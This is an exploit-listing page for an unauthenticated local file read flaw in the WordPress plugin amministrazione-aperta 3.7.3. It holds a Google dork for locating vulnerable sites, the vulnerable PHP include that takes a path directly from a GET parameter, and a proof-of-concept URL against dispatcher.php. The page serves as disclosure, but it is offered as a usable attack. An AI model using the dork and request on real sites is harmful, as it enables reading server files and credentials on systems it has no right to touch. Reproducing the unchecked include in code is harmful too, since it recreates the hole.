Wordpress plugin amministrazioneaperta 3.7.3 local file read unauthenticated Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2022-03-23 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin amministrazioneaperta 3.7.3 local file read unauthenticated is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: WordPress Plugin amministrazione-aperta 3.7.3 - Local File Read - Unauthenticated
# Google Dork: inurl:/wp-content/plugins/amministrazione-aperta/
# Date: 23-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/amministrazione-aperta/
# Version: 3.7.3
# Tested on: Firefox

# Vulnerable File: dispatcher.php

# Vulnerable Code:

```
if ( isset($_GET['open']) ) {
include(ABSPATH . 'wp-content/plugins/'.$_GET['open']);
} else {
echo '
<div id="welcome-panel" class="welcome-panel"
style="padding-bottom: 20px;">
<div class="welcome-panel-column-container">';

include_once( ABSPATH . WPINC . '/feed.php' );
```

# Proof of Concept:

localhost/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=[LFI]